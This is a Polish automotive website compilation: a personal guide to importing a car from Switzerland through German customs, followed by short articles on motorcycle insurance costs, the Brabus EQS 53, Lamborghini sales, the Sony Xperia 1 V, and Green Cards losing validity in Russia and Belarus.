Jeżeli zabieramy samochód na lawetę, to właśnie zakończyliśmy wszystkie formalności do załatwienia w Szwajcarii. Ja natomiast wracałam na kołach. Dlatego musiałam zgłosić się do urzędu po tablice eksportowe (Kontrollschilder) i ubezpieczenie pojazdu. I tu za pierwszym razem, kiedy kilka lat temu sprowadzałam pierwszy samochód ze Szwajcarii, spotkała mnie bardzo miła niespodzianka. Pani w okienku znała podstawy angielskiego i kiedy powiedziałam jej, że jestem z Polski, wręczyła mi do wypełnienia formularz po polsku! Wystawienie nowego, tymczasowego dowodu, oraz ubezpieczenia i wydanie tablic trwało około 15 minut. Kiedy po raz drugi sprowadzałam auto ze Szwajcarii, nic już nie musiałam wypełniać, bo moje dane były w systemie. Da się? Da.

Cena ubezpieczenia i podatku zależna jest od dnia w miesiącu, kiedy je wykupujemy. Ubezpieczenie i podatek są naliczane do końca miesiąca kalendarzowego. Podatek proporcjonalnie do liczby dni w miesiącu, natomiast ubezpieczenie ma trzy stawki. Jeżeli wykupimy je od 1 do 15 dnia, kosztuje 170 franków szwajcarskich, od 16 do końca miesiąca 80 franków, natomiast jeżeli zgłosimy się na 4 dni przed końcem miesiąca zapłacimy 190 franków i ubezpieczenie zostanie nam wystawione na 35 dni. Maksymalna wysokość podatku to około 50 franków. Tablice kosztują 45 franków, a tymczasowy dowód 70. Ceny dotyczą kantonu berneńskiego i w innych mogą się różnić. Warto teraz dowiedzieć się, gdzie się odprawić, gdy rozważamy jak sprowadzić samochód ze Szwajcarii?

Odprawa w Niemczech – szybciej, łatwiej i taniej

Odwiedzenie dwóch urzędów – wyrejestrowanie i zarejestrowanie czasowe oraz wizyta w stacji kontroli (ponieważ samochód miał więcej niż 10 lat), zajęło mi łącznie dwie godziny (bez przejazdów).

Mogłam teraz ruszać w drogę. Do przejechania ponad 1300 kilometrów (rejon Warszawy), a jeszcze zdecydowałam się załatwić dokumenty celne na granicy niemieckiej, bo Polak może odprawić kupiony w Szwajcarii samochód w dowolnym kraju unijnym. Po przejściach z polskim urzędem celnym kilka lat temu, nie chciałam znów tracić kilku dni na pisanie podań do naczelnika i ryzykować, że nie będę mogła zarejestrować samochodu.

W Niemczech jest też taniej. Podatek VAT wynosi 19 procent i płaci się go od ceny na fakturze lub w umowie. W Polsce wartość auta może być policzona według cen krajowych danego modelu i np. trzeba będzie posiłkować się wyceną rzeczoznawcy, co też kosztuje. Po drugie VAT w Polsce jest liczony od wartości samochodu powiększonej o zapłaconą akcyzę oraz koszty transportu.

Granicę szwajcarsko-niemiecką przekraczałam na autostradzie w Bazylei. Biuro odpraw dla osób prywatnych znajduje się w budynku przy bramkach granicznych, nigdzie nie trzeba chodzić. Kolejki żadnej – więcej – żadnych innych klientów poza mną!

Podchodzę do okienka przedstawiam dokumenty (dowód rejestracyjny, umowę oraz mój dowód osobisty) i po angielsku mówię, że chcę odprawić samochód, który stoi na zewnątrz budynku. „Okej, proszę poczekać kilka minut” – słyszę i celnik zabiera się do pracy. Po owych kilku minutach podaje mi wydruk do kasy i tłumaczy, że to i to będzie kosztować tyle i tyle. Kasa jest po przeciwnej stronie korytarza, można płacić kartą.

Przypominam sobie, że w moim urzędzie celnym musiałam iść do banku, zrobić przelew na konto i wrócić następnego dnia, bo kolejka była tak duża, że tego samego nie dałabym rady załatwić sprawy. Nie mówiąc o wypełnianiu SAD-u. Po opłaceniu wszystkiego, odbieram dokumenty celne i ruszam w drogę!

Rejestracja samochodu sprowadzonego z zagranicy – polska biurokracja w urzędach

O ile w Szwajcarii i Niemczech załatwianie dokumentów to – można powiedzieć – czysta przyjemność, o tyle w Polsce zaczyna się papierkologia i „opłata od opłaty”. Na pytanie „jak sprowadzić samochód ze Szwajcarii?” odpowiadający odpowie – no dopiero w Polsce zaczynają się „schody”.

Urząd celny

Ponieważ samochód był odprawiony w Niemczech, mam pięć dni na stawienie się w urzędzie celnym i opłacenie akcyzy. Ze sobą muszę zabrać: umowę kupna, tymczasowy dowód rejestracyjny i dokumenty celne z granicy niemieckiej, wszystko z tłumaczeniami przysięgłymi na język polski – dodatkowo należy mieć zaświadczenie o badaniu technicznym zrobionym w Polsce. Ze wszystkiego trzeba zrobić ksero. Na miejscu wypełniam druk AKC-U (plus ksero oczywiście), wnoszę opłatę za akcyzę oraz opłatę za zaświadczenie o zapłaceniu akcyzy i dołączam do pliku dokumentów. To wszystko po odstaniu w kolejce składam w urzędzie.

Oczywiście cena samochodu została została zakwestionowana i usłyszałam, że muszę dopłacić do akcyzy. Niewiele myśląc wróciłam do agencji celnej, która wypełniła mi druk AKC-U (za 30 złotych), po poradę, co zrobić z tym fantem. Pan popatrzył na samochód, który miał nieco pognieciony błotnik i poradził tak: zrobić zdjęcia wszystkich mankamentów oraz zdjęcia numeru nadwozia i napisać pismo do naczelnika z wyjaśnieniem ceny w umowie. W moim przypadku robienie wyceny przez rzeczoznawcę nie miałoby sensu, bo koszt porównywalny był do różnicy w akcyzie. Jak poradził, tak zrobiłam i już (sic!) następnego dnia miałam pozytywną odpowiedź od naczelnika.

Akcyza dla samochodów do 2000 cm3 wynosi 3,1 procent, powyżej – 18,6 procent. Na zaświadczenie o opłaceniu akcyzy trzeba czekać kilka dni.

Urząd skarbowy

To kolejny etap wędrówki – mamy na niego 14 dni od zakupienia pojazdu. Tam zabieramy: zaświadczenie o opłaceniu akcyzy, umowę kupna z tłumaczeniem oraz dokumenty niemieckie o opłaceniu VAT-u, też z tłumaczeniem. Skarbowy wydaje nam dokument o zapłaceniu podatku VAT. Uwaga, przy płaceniu tego podatku na granicy niemieckiej trzeba zwrócić uwagę, żeby skarbówka nie potraktowała samochodu jak sprowadzonego z Unii, bo wtedy trzeba zapłacić 160 złotych za zaświadczenie o zwolnieniu z VAT. Często urzędy podają błędne informacje.

Wydział komunikacji

Jeszcze tylko tu i koniec. Znowu muszę zabrać ze sobą tonę papierów: umowa kupna, zaświadczenie ze skarbowego, dowód opłaty recyclingowej (500 złotych), zaświadczenie o opłaceniu akcyzy, tymczasowy dowód rejestracyjny, zaświadczenie o badaniu technicznym, tablice rejestracyjne. Koszt rejestracji jest taki sam, jak dla samochodów kupionych w Polsce, czyli około 250 złotych.

Co z tablicami szwajcarskimi? Wydział komunikacji będzie chciał je nam zabrać. Trzeba jednak pamiętać, że w Szwajcarii tablice są przypisane do osoby i te, które otrzymaliśmy na wywóz samochodu, są ważne przez dwa lata. Czyli możemy sprowadzić kolejne auto na tych samych numerach. Koszt tablic to 45 franków, które możemy zaoszczędzić.

Na sam koniec trzeba jeszcze auto ubezpieczyć, ale jeżeli mamy dobrego doradcę, to przyjedzie do naszego domu i załatwi wszystkie formalności.

Sprowadzanie auta ze Szwajcarii – czy to się opłaca?

Wiemy już jak sprowadzić samochód ze Szwajcarii? Ale czy to się w ogóle opłaca? Jeszcze kilkanaście lat temu, kiedy frank kosztował 2,5 złotego, nikt tego pytania nie zadawał. Ale i teraz – moim zdaniem – gra może być warta świeczki. Trzeba tylko wziąć pod uwagę – oprócz ceny – jakość i standard samochodów jeżdżących po Szwajcarii. Ja w swoim dwudziestoletnim obecnie Audi, pierwsze części wymieniać zaczęłam po trzech latach od przywiezienia do Polski.

Obecnie Polacy sprowadzają ze Szwajcarii nieco ponad 20 tys. aut rocznie.

Koszty nie różnią się znacznie od tych, kiedy sprowadzamy auto z Unii, trzeba dodać jedynie VAT, no i liczyć się z zakwestionowaniem ceny do wymiaru podatku akcyzowego. To każdy powinien przekalkulować sobie sam.

Sprowadzenie samochodu ze Szwajcarii – opłaty w poszczególnych krajach tranzytowych

Szwajcaria

  • 80 CHF – ubezpieczenie od 16 dnia miesiąca
  • 13 CHF – podatek od 22 dnia miesiąca
  • 45 CHF – tablice
  • 70 CHF – dowód tymczasowy

Niemcy

  • 19% – VAT
  • 10% – cło

Polska

  • 200 PLN – tłumaczenie dokumentów
  • 190 PLN – badanie techniczne
  • 3,1% lub 18,6% – akcyza
  • 17 PLN – opłata za wydanie zaświadczenia o opłaceniu akcyzy
  • 30 PLN – agencja celna za wypełnienie druku akcyzowego
  • 500 PLN – opłata recyclingowa
  • 250 PLN – opłaty za zarejestrowanie samochodu

Sprowadzenie auta ze Szwajcarii na lawecie – koszt

Gdy istnieją przeszkody, uniemożliwiające sprowadzenie auta ze Szwajcarii na kołach, należy zdecydować się na taką czynność przy użyciu lawety. Dzięki temu unikniemy wielu wizyt w urzędach, choć ja rekomenduję jednak jazdę na kołach – jest przyjemniejsza! Jednak chętni na kupno auta powypadkowego mają właśnie tylko to jedno rozwiązanie.

A ile kosztuje sprowadzenie auta ze Szwajcarii na lawecie? Wszystko zależy od tego, ile określona firma wycenia kilometr jazdy z autem na pace. Czasem doliczany jest też dojazd – to warto ustalić na początku. Ponieważ w większości wypadków taka trasa to około 1500 kilometrów, należy się liczyć ze sporym kosztem. Obecnie przekracza on nawet 2,5 złotego za kilometr, więc cała trasa to cena może oscylować w okolicach 3750 złotych.

Mam nadzieję, że dostarczyłam właśnie odpowiedzi na pytanie jak sprowadzić samochód ze Szwajcarii? Jeśli będziemy mieć wszystko zaplanowane z wyprzedzeniem, cała procedura nie przysporzy nam kłopotów, a my wrócimy zadowoleni z zakupu.

Source: Jak sprowadzić samochód ze Szwajcarii? Poradnik

Ubezpieczenie motoroweru i motocykla – sprawdzamy ile kosztuje. Ile jest kradzieży i wypadków jednośladów?

Spis treści

Jednoślady to najtańsze pojazdy do ubezpieczenia, a ich wzrastająca sprzedaż w Polsce świadczy o tym, że coraz częściej na krótsze dystanse wybieramy właśnie ten rodzaj lokomocji. Czy ubezpieczenie motoroweru i motocykla pokrywa wszystkie potencjalne zagrożenia, związane z jazdą jednośladem?

Liczba rejestracji nowych i używanych jednośladów

PZPM (Polski Związek Przemysłu Motoryzacyjnego) informuje, że w okresie styczeń- kwiecień 2023 roku w Polsce dokonano ponad 37 tys. pierwszych rejestracji nowych i używanych jednośladów. Wśród motocykli z rynku pierwotnego największym zainteresowaniem cieszyły się pojazdy z silnikiem do 125 cm3, osiągając 36,6 proc. udział w rejestracjach. W tej klasie najpopularniejsza była japońska Honda. W drugiej kategorii- ponad 1000 cm3 prym wiodło niemieckie BMW. Najchętniej wybieranymi segmentami okazały się Street oraz On/Off. Z kolei klasyczne Chopper&Cruiser stanowiły wybór niewiele ponad 7 proc. nabywców.

Ubezpieczenie motoroweru i motocykla – koszt

– Osoby, które w kwietniu tego roku kupowały polisę OC motocykla marki Honda, płaciły od 153 zł wzwyż. Autocasco wiązało się z kolei z wydatkiem na poziomie 824 zł. Właściciele pojazdów BMW musieli natomiast liczyć się z kosztem odpowiednio 182 zł i ok. 1670 zł za polisę AC. To kwota zbliżona jak dla sportowego Ducati (1635 zł) i ponad 300 zł wyższa niż w przypadku brytyjskiego Triumph (1272 zł). Jednocześnie posiadacze modeli amerykańskiej marki Harley-Davidson kupowali AC o średniej wartości 1925 zł. Analizując wysokość samego OC, było to ok. 308 zł rocznie – kwotuje Natalia Sobecka z CUK Ubezpieczenia.

Równocześnie w pierwszym kwartale tego roku najchętniej rejestrowanymi motorowerami były produkty polskiej marki Junak, których sprzedaż osiągnęła ponad 22 proc. udział w segmencie poj. silnika do 50 cm3. Właściciele takich jednośladów na polisę OC wydali średnio 100 zł, a autocasco wiązało się z kosztem ok. 400 zł rocznie.

wypadek motocyklowy

OC motocykla lub motoroweru – ile kosztuje?

OC kosztuje średnio 130 zł. Jednak osoby w wieku 18-24 lat płacą za ochronę o 70 proc. więcej

Ubezpieczenie motocykla lub motoroweru zawiera identyczny zakres jak w przypadku samochodu osobowego. Ich użytkownicy są więc przede wszystkim zobowiązani do posiadania całorocznego OC komunikacyjnego. To ważne, gdyż wg Biura Ruchu Drogowego KGP w 2022 roku byli sprawcami 1155 negatywnych zdarzeń drogowych. Największe zagrożenie stwarzali motocykliści w wieku 25-39 lat, którzy spowodowali 42 proc. ogółu wypadków oraz motorowerzyści w przedziale 40-59 lat. Niemniej jeżeli chodzi o ubezpieczenie obowiązkowe najwyższe składki i tak płacą najmłodsi kierowcy oraz osoby, które prawo jazdy mają najkrócej.

– W kwietniu tego roku średnia składka za OC dla użytkowników motocykli i motorowerów wyniosła w skali kraju 130 zł. Jednak osoby w wieku 18-24 lat płaciły za obligatoryjną ochronę o 70 proc. więcej, tj. przeciętnie 220 zł. Z kolei kierujący w przedziale wiekowym 25- 34 lat musieli liczyć się z kosztem 148 zł, a motocykliści w wieku 35 – 54 lat ok. 120 zł. To o 20 zł drożej niż reprezentanci 64 plus, którzy ponosili przeciętne najniższe wydatki na polisę komunikacyjną – podkreśla Natalia Sobecka z CUK Ubezpieczenia.

Liczba kradzieży jednośladów – kupując AC uważaj na warunki

Kolizje i wypadki drogowe prawie zawsze skutkują uszkodzeniami i koniecznością naprawy pojazdu. A te są bardzo kosztowne. Dodatkowo jednoślady narażone są na ryzyko kradzieży. Tych według policyjnych statystyk w 2022 roku było w Polsce co najmniej 1488. Stąd tak ważne jest dysponowanie polisą AC. Z uwagi na fakt, że jest to ubezpieczenie dobrowolne, kupują je głównie właściciele pojazdów nowych oraz osoby obligowane wymaganiami instytucji finansujących. Wielu właścicieli starszych modeli pozostaje natomiast przy polisie OC, rozszerzając ją ewentualnie o ryzyko NNW. W efekcie średnia wartość ochrony AC w skali kraju wynosiła w kwietniu 975 zł. Zawierając ubezpieczenie, trzeba jednak dokładnie przeanalizować warunki ochrony. W przeciwnym razie możemy narazić się na odmowę wypłaty odszkodowania.

– Główne parametry konieczne do wyliczenia poziomu składki za AC związane są z marką i wartością pojazdu, szkodowością oraz statystykami dotyczącymi kradzieży i wypadków. Wybierając ubezpieczenie, nie należy natomiast kierować się wyłącznie jego ceną. Przy casco ważne jest przede wszystkim dostosowanie ochrony do naszych potrzeb. Stąd np. dla ryzyka kradzieżowego warto wziąć pod uwagę kwestię udziałów własnych, czy wymogów dotyczących zabezpieczeń dodatkowych tak, aby zamontowane fabrycznie były wystarczające do zawarcia polisy i uzyskania ewentualnego odszkodowania – mówi Natalia Sobecka z CUK Ubezpieczenia.

Wypadki motocyklowe w Polsce – liczba. Przyda się NNW oraz assistance

Sezon motocyklowy rozpoczyna się na wiosnę i trwa do później jesieni. Niestety okres między czerwcem a sierpniem to najniebezpieczniejszy czas dla użytkowników jednośladów. W całym ubiegłym roku uczestniczyli oni w 2674 wypadkach drogowych, w których śmierć poniosło 211 kierujących i pasażerów, a 2508 zostało rannych. Stąd oprócz obowiązkowej polisy OC oraz opcjonalnej ochrony autocasco należy zaopatrzyć się w NNW. Wyruszającym w podróż po kraju lub za granicę przyda się ponadto assistance. Przydatnym rozwiązaniem może okazać się także ubezpieczenie akcesoriów od uszkodzenia lub kradzieży.

– Kierowcy oraz pasażerowie poruszający się na motocyklu lub motorowerze powinni zadbać o ubezpieczenie NNW. Jego zakres zapewni wypłatę świadczeń w związku ze śmiercią oraz uszczerbkiem na zdrowiu, do których doszło wskutek nieszczęścia na drodze. Rekomenduję ponadto zakup assistance, które w przypadku awarii jednośladu zapewni holowanie bez limitu kilometrów, możliwość odwiezienia do miejsca przeznaczenia lub pojazd zastępczy – podsumowuje Natalia Sobecka z CUK Ubezpieczenia.

Source: Ubezpieczenie motoroweru i motocykla – sprawdzamy ile kosztuje. Ile jest kradzieży i wypadków jednośladów?

Brabus EQS 53 – tak wyglądający elektryk może zachęcić do elektromobilności. Ile kosztuje?

Spis treści

Samochody z napędem elektrycznym podbijają świat i dotyczy to oczywiście także segmentu luksusowych sedanów. Brabus oparł swój projekt mocarnego elektryka – modelu Brabus EQS 53 Masterpiece – na Mercedesie EQS 53 4MATIC+. Niemiecki tuner udoskonala samochody Mercedes-Benz od ponad 45 lat i pracuje z napędami alternatywnymi już od 2008 roku, więc nie jest to dla niego zupełna nowość.

Do bazowego modelu Brabus dodał swój kunszt w dziedzinie aerodynamiki, aby uzyskać jeszcze lepszy współczynnik Cd i zwiększyć zasięg na jednym ładowaniu. Obniżył zawieszenie i upiększył wnętrze. Całość osadzono na 22-calowych, dziesięcioramiennych obręczach, z błyszczącym, czarnym wykończeniem. Felgi – 9Jx22 z przodu i 10,5Jx22 z tyłu – odziano w opony Pirelli P Zero o rozmiarach odpowiednio 255/35 ZR 22 i 295/30 ZR 22. Czy takim elektrykiem chciałoby się podróżować? No jasne! Oto Brabus EQS 53.

Ciekawostka!

W 1985 roku Brabus zdobył wpis do Księgi Rekordów Guinnessa. Inżynierowie poprawili aerodynamikę modelu Mercedes W 124 sedan, osiągając finalnie współczynnik oporu powietrza Cd = 0,26. To, co w tamtym czasie było rekordem świata, nadal jest liczbą, którą osiąga lub pokonuje niewiele obecnie produkowanych aut.

Przeczytaj też o niesamowitym motocyklu Brabusa – klik.

Brabus EQS 53 – pakiet aerodynamiczny

Inżynierowie Brabusa na dobry początek zajęli się opracowaniem sportowych elementów, poprawiających aerodynamikę – było to trudne, bo należało jednocześnie zachować elegancką sylwetkę auta. Pakiet został wykonany z włókna węglowego. Po tylko tych przeróbkach testy w tunelu aerodynamicznym auta wyposażonego w wykonywane na zamówienie, kute, 22-calowe koła Monoblock M „Platinum Edition” (dostępne w różnych wariantach) wykazały, że modyfikacja nadwozia poprawiła współczynnik Cd aż o 7,2 procent. Zmniejszył się także całkowity opór, do tego stopnia, że zasięg przy prędkościach od 100 do 140 km/h wzrósł – w porównaniu do protoplasty – średnio o 7 procent. Dalsze testy wykazały optymalne ukształtowanie tylnego spojlera i dyfuzora, które to elementy spowodowały zwiększenie docisku, co przekłada się również na poprawę stabilności prowadzenia auta przy dużych prędkościach.

Wykonane z włókna węglowego boczne wloty powietrza w przednim pasie kierują strumień do chłodnicy i przednich hamulców, a karbonowe owiewki przed tylnymi nadkolami poprawiają przepływ powietrza przez błotniki.

Brabus EQS 53 Masterpiece

Brabus EQS 53 Masterpiece

Brabus EQS 53 – zawieszenie

Na pokładzie tuningowanego elektryka pojawia się też specjalny moduł plug-and-play, dostosowany do standardowego zawieszenia Ride Control+, który ingeruje w elektronicznie sterowane zawieszenie, obniżając je o 15 milimetrów z przodu i 20 milimetrów z tyłu. Właśnie w takim wydaniu auto ma najmniejsze Cd.

Brabus EQS 53 – wnętrze

Wnętrze może być dopasowane do życzeń właściciela pojazdu pod względem koloru, wzornictwa i materiałów. Skóry mają pikowanie „Arrow Wave” wykonane z niezwykłą precyzją, na zagłówkach foteli wyhaftowane jest logo Brabus, a na siedzeniach „spoczęły” emblematy Brabus Masterpiece. Poduszki – znane z klasy S – na tylnych zagłówkach są pokryte czarną mikrofibrą Dinamica, podobnie jak słupki A, B i C.

Aby dodać we wnętrzu nieco elementów pasujących do karbonu na karoserii, część paneli drzwi i siedzeń pokryto wegańską, cętkowaną, czarnoszarą tkaniną.

Miłym, sportowym akcentem są też nakładki na pedały, wykonane oczywiście z włókna węglowego i nakładki na progi z podświetlanym logo Brabus, które zmienia kolor w synchronizacji z oświetleniem w EQS. Elegancki charakter środka uzupełniają welurowe dywaniki z długim włosiem i dywanik do bagażnika tego samego rodzaju, ozdobione – a jakże – logo specjalisty od uszlachetniania samochodów.

Wnętrze Masterpiece można zamówić w praktycznie dowolnym kolorze, w różnych opcjach skóry i faktur materiałów.

Brabus EQS 53 Masterpiece – cena i możliwy wygląd

Auto można zamówić w błyszczącym lub matowym wydaniu. Wszystkie chromowane elementy karoserii są polakierowane na czarno, aby nadać pojazdowi jeszcze bardziej sportowy wygląd.

BRABUS EQS 53 Masterpiece, oparty na Mercedesie-AMG EQS 53 4MATIC+, kosztuje 251 654 euro – to cena eksportowa w Niemczech, bez 19 procent VAT.

Source: Brabus EQS 53 – tak wyglądający elektryk może zachęcić do elektromobilności. Ile kosztuje?

Gigantyczny wzrost przychodów Lamborghini – oto ile marka sprzedała aut w 3 miesiące!

Marka Lamborghini ma za sobą szczególnie intensywne trzy miesiące, podczas których wprowadziła na rynek swój pierwszy hybrydowy model – Lamborghini Revuelto. Niedługo producent z Sant’Agata Bolognese będzie obchodzić jubileuszową 60. rocznicę powstania marki, co przypieczętowuje najlepszymi w historii wynikami pod względem przychodów i rentowności włoskiego brandu. To, jak gigantyczny jest wzrost przychodów Lamborghini pokazują liczby.

Lamborghini – liczba sprzedanych samochodów

W pierwszym kwartale 2023 roku obroty firmy osiągnęły 728 milionów euro, co oznacza wzrost o 22,8% w porównaniu z tym samym okresem w 2022 roku.

Dochód operacyjny również osiągnął rekordowy wynik, osiągając wartość 260 milionów euro w pierwszych trzech miesiącach roku i rentownością na poziomie 35,7%. Zapewnia to pokrycie kosztów produkcji zamówień, które zostaną zrealizowane w 2024 roku.

Gigantyczny wzrost przychodów Lamborghini

Rekordowy kwartał z pewnością zapisze się w Lamborghini jako przełomowy okres w historii marki. Wyniki te pozwolą nam ze zwiększonym entuzjazmem zmierzyć się z nadchodzącymi wyzwaniami. Jednym z nich jest rozpoczęcie drugiego etapu programu „Direzione Cor Tauri”, najważniejszego planu inwestycyjnego w historii firmy – mówi Stephan Winkelmann, prezes i dyrektor generalny Lamborghini.

W pierwszych trzech miesiącach 2023 roku Lamborghini dostarczyło 2 623 samochody, czyli o 84 pojazdy więcej niż w pierwszym kwartale ubiegłego roku.

Lamborghini – modele

  • Lamborghini Urus nadal jest najczęściej sprzedawanym autem z wynikiem 1 599 sprzedanych sztuk.
  • Lamborghini Huracán jest wyprzedany do końca produkcji.
  • Lamborghini Aventador – jego produkcję Lamborghini zakończyło w 2022 roku.
  • Lamborghini Revuelto – pierwsza hybryda marki – cieszy się rosnącym zainteresowaniem.

Brawurowy start w 2023 roku zbiega się z doniosłą okolicznością dla marki. W roku 60-lecia zaprezentowano model Lamborghini Revuelto, czyli pierwszą hybrydę plug-in w historii firmy z Sant’Agata Bolognese. Premiera stanowiła pierwszy krok w kierunku hybrydyzacji całej gamy modeli, która zostanie zakończona do końca 2024 roku. Więcej o tym modelu poniżej.

Source: Gigantyczny wzrost przychodów Lamborghini – oto ile marka sprzedała aut w 3 miesiące!

Sony Xperia 1 V – cena w Polsce, opis i dane techniczne. Powalczy z iPhonem i Samsungiem

Spis treści

Możliwości smartfonów stale rosną, podobnie jak stawiane im wymagania. Producenci smartfonów dobrze to wiedzą i starają się nadążać za trendami. Sęk w tym, że praktycznie kilka miesięcy po premierze urządzenia, konkurenci wchodzą na rynek z jeszcze nowocześniejszymi rozwiązaniami. Jak więc się wyróżnić? Japońska firma, znana ze świetnych aparatów fotograficznych postawiła na właśnie takie funkcje w swoich smartfonach, które mają dawać twórcom praktycznie nieograniczone możliwości fotografowania i filmowania. Taki ma być flagowiec marki – Sony Xperia 1 V.

Sony Xperia 1 V – obiektywy i fotografowanie

Smartfon Sony Xperia 1 V jest wyposażony w nowy, warstwowy przetwornik obrazu „stacked CMOS” z pikselami z dwuwarstwowym tranzystorem. Matryca ma oddawać niespotykaną dotąd kolorystykę i faktury na obrazach przedstawiających ludzi, krajobrazy i inne sceny, nawet w ciemnych miejscach. Producent donosi, że 1 V ma teraz dwukrotnie lepsze niż w poprzednim modelu parametry w słabym świetle oraz technologię szybkiej rejestracji i nakładania wielu klatek. Ma to zapobiec powstawaniu zakłóceń na zdjęciach i jednocześnie rozszerza zakres dynamiczny do poziomu, jakim charakteryzują się aparaty pełnoklatkowe.

Osłona z podpórką do Sony Xperia 1 V – jak działa?

Przeznaczona do Sony Xperia 1 V osłona ma umieszczony u dołu uchwyt, który ma ułatwiać fotografowanie i filmowanie. Osłonę można ustawić nie tylko poziomo, jak podczas oglądania filmu, lecz także pionowo, co przydaje się w przypadku transmisji na żywo lub czatu wideo. Tył osłony ma taką samą fakturę jak obudowa smartfona.

Osłona jest dostępna w trzech kolorach dopasowanych do telefonu.

Sony Xperia 1 V – obiektywy

  • Tylny obiektyw 24 mm jest wyposażony w warstwowy przetwornik obrazu „stacked CMOS” Exmor T do urządzeń mobilnych, z pikselami z dwuwarstwowym tranzystorem, (około 70% większy od matrycy poprzedniego modelu).
  • Obiektyw 85–125 mm (F2.3–F2.8) z zoomem optycznym ma pozwalać uzyskać jasne portrety z niewielkimi zniekształceniami.

W nowym smartfonie wykorzystano również technologię S-Cinetone ze sprzętu do produkcji filmowej, którą zaadaptowano do urządzeń mobilnych. Nowa matryca wyróżnia się trzykrotnie wyższym poziomem nasycenia sygnału, a specjalne techniki przetwarzania osłabiają zakłócenia typowe dla ciemnych scen. Urządzenie wyposażono też w działający w czasie rzeczywistym system AF.

Sony Xperia V 1

Sony Xperia V 1

Sony Xperia 1 V – AI w trybie „Twórczy wygląd”

Podobnie jak w innych flagowcach na rynku, także Sony wyposażyło Xperia 1 V w zaprogramowane wtępnie ustawienia koloru „Twórczy wygląd”, które dostępne jest w aparatach i kamerach α. Ustawienia te dostosowane są do różnych scen i wymagań, na przykład różnokolorowych kwiatów, błękitu bezchmurnego nieba czy tworzenia obrazów z miękkim, „transparentnym” wykończeniem.

Dodatkowo Sony Xperia 1 V ma system Real-time Eye AF umożliwiający śledzenie i ustawianie w czasie rzeczywistym ostrości na oczy osoby lub wskazany obiekt – ma działać dzięki analizie informacji o odległości, pozwalając ustawiać ostrość nawet na odległe obiekty.

Nowością jest tryb zdjęć seryjnych z szybkością do 30 klatek na sekundę i śledzeniem AF/AE, który eliminuje ryzyko przeoczenia ważnej chwili.

Sony Xperia 1 V – tryb „prezentacja produktu” i „priorytet głosu”

Ustawienie „prezentacja produktu” to przenoszenie ostrości z twarzy recenzenta na produkt pokazywany przed aparatem.

Nowością jest mikrofon funkcji „priorytet głosu” umieszczony w pobliżu tylnego aparatu. Głos twórcy brzmi wyraźnie nawet na nagraniach powstających w gwarnym otoczeniu, co ułatwia przejście od zdjęć do rozpowszechniania filmu.

Osoby prowadzące strumieniowe transmisje na żywo na YouTube z użyciem funkcji nagrywania filmów „Videography Pro” mogą na bieżąco sprawdzać napływające komentarze i natychmiast wchodzić w interakcję z widzami. System obsługi dostosowany jest także do pracy w układzie pionowym. W trybie Photo Pro informuje dźwiękowo o pionowym lub poziomym ułożeniu ekranu.

Sony Xperia 1 V – ekran i głośniki

W Sony Xperia 1 V wykorzystano 6,5-calowy wyświetlacz OLED 4K o częstotliwości odświeżania 120 Hz, który ma ograniczać zamazywanie się obrazu. Wzmacniacz o dużej mocy i niskim poziomie zakłóceń ma z kolei zwiększać zasięg i głębię dźwięku z głośników. Z kolei rozszerzone pasmo niskich i wysokich częstotliwości ma przekłada się na większą czystość i dynamikę brzmienia.

Tył smartfona jest wykonany ze specjalnie opracowanego szkła z fakturą zapewniającą funkcjonalne właściwości dotykowe. W połączeniu z maleńkimi wyżłobieniami z boku ułatwia to stabilne trzymanie urządzenia i zapobiega jego wyślizgnięciu się z ręki podczas zdjęć lub oglądania obrazu.

Sony Xperia V 1

Sony Xperia V 1

Sony Xperia 1 V – bateria i procesor

Bateria ma pojemność 5000 mAh, co – wg producenta – ma umożliwiać ciągłe oglądanie filmów nawet przez 20 godzin, mimo że wyświetlacz ma rozdzielczość 4K. Nowy model jest przystosowany do bezprzewodowego ładowania, a funkcja szybkiego ładowania pozwala w 30 minut naładować baterię do 50%.

Poprawiono też energooszczędność i efektywność rozpraszania ciepła. Sprawność energetyczna procesora Snapdragon 8 Gen2 Mobile Platform jest o 40% wyższa niż procesora w poprzednim modelu. O 20% spadło zużycie energii podczas korzystania z aparatu. Aby zwiększyć wydajność odprowadzania ciepła na zewnątrz, o 60% powiększono arkusz rozpraszający ciepło.

Ekologiczny smartfon?

Opakowanie smartfona Xperia 1 V nie zawiera już plastiku. Powstaje z opracowanego przez Sony tworzywa „Original Blended Material”, wytwarzanego z bambusa, trzciny cukrowej i makulatury. Oprócz tego trwają prace nad ograniczeniem użycia plastiku z surowców pierwotnych w samym urządzeniu. Niektóre elementy, zarówno wewnętrzne, jak i zewnętrzne, są produkowane z Sorplas – tworzywa opóźniającego palność, które zawiera do 99% surowców z recyklingu.

Sony Xperia 1 V – cena w Polsce. Kiedy w sklepach?

Sprzedaż smartfona Sony Xperia 1 V rozpocznie się pod koniec czerwca.

Sony Xperia 1 V – cena w Polsce to 6499 złotych.

Source: Sony Xperia 1 V – cena w Polsce, opis i dane techniczne. Powalczy z iPhonem i Samsungiem

To koniec Zielonych Kart! Ogromna zmiana w 65-letniej historii Polski w tym systemie

Spis treści

Kiedy koniec zielonych kart?

Dokładnie 31 maja 2023 r. o godz. 23:59 czasu środkowoeuropejskiego polskie Międzynarodowe Karty Ubezpieczenia Samochodowego (Zielone Karty) stracą ważność na terytorium Federacji Rosyjskiej oraz Białorusi. Będą nieważne nawet jeśli oznaczenia literowe tych państw, tj. RUS i BY, znajdujące się w rubryce nr 8 certyfikatu, nie będą przekreślone.  

– Oznacza to, że od 1 czerwca 2023 r. kierujący pojazdami zarejestrowanymi na terytorium Polski, wjeżdżając lub przebywając na terytorium Rosji lub Białorusi, w celu spełnienia istniejącego w tych państwach obowiązku ubezpieczenia OC posiadaczy pojazdów mechanicznych, zobowiązani będą do wykupienia odpowiednio rosyjskich lub białoruskich polis ubezpieczenia granicznegomówi Mariusz Wichtowski, prezes zarządu Polskiego Biura Ubezpieczycieli Komunikacyjnych.

Wjazd do Białorusi i Rosji – ubezpieczenie

Zawarcie stosownego ubezpieczenia będzie możliwe na przejściach granicznych. Kontrola polis będzie prowadzona zarówno przy wjeździe, jak i wyjeździe z Białorusi i Rosji. Należy mieć na uwadze również wzmożone kontrole na terytorium obu państw. 

Koniec zielonych kart to konsekwencja wypowiedzenia przez PBUK dwustronnych umów z Białorusią i Rosją o wzajemnym honorowaniu Zielnych Kart. Biuro rozwiązało je niespełna rok temu, z zachowaniem 12-miesięcznego okresu wypowiedzenia. Na taki sam krok zdecydowały się wszystkie Biura Narodowe z Europejskiego Obszaru Gospodarczego oraz Biuro Szwajcarskie.

koniec zielonych kart

